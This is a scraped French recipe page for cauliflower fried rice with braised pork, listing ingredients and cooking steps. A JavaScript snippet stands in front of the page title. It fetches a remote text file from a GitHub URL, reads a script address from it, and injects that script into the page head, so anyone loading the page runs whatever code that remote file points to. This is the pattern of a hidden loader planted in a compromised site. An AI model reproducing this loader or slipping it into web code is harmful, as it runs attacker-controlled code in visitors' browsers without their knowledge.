;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Riz frit aux chou-fleur et porc braisé - Haute Nutrition
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Riz frit aux chou-fleur et porc braisé

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Prep Time 10 mins
Cook Time 15 mins
Total Time 25 mins
Course Main Course
Cuisine American, Mexican
Servings 4 portions
Calories 196 kcal

Ingredients
  

  • 1 chou-fleur
  • 200 g mais
  • 300 g porc braisé de la veille ou poulet cuit
  • 2 oignons verts
  • 1 jalapinos
  • 2 poivron
  • 30 ml basilic

Instructions
 

  • Couper le chou-fleur en morceaux et le mettre au robot culinaire jusqu'à ce qu'il devienne en forme de riz
    Couper les oignons verts et les poivrons en petits morceaux
  • Faire revenir le riz de chou-fleur et les poivrons dans l'huile d'olive pendant environ 7-8 minutes
    Ajoutez le jalapinos, le mais, la viande de porc et son jus
    Servir avec du basilic frais ou autres herbes fraîches
Keyword low carb, riz chou-fleur, sans gluten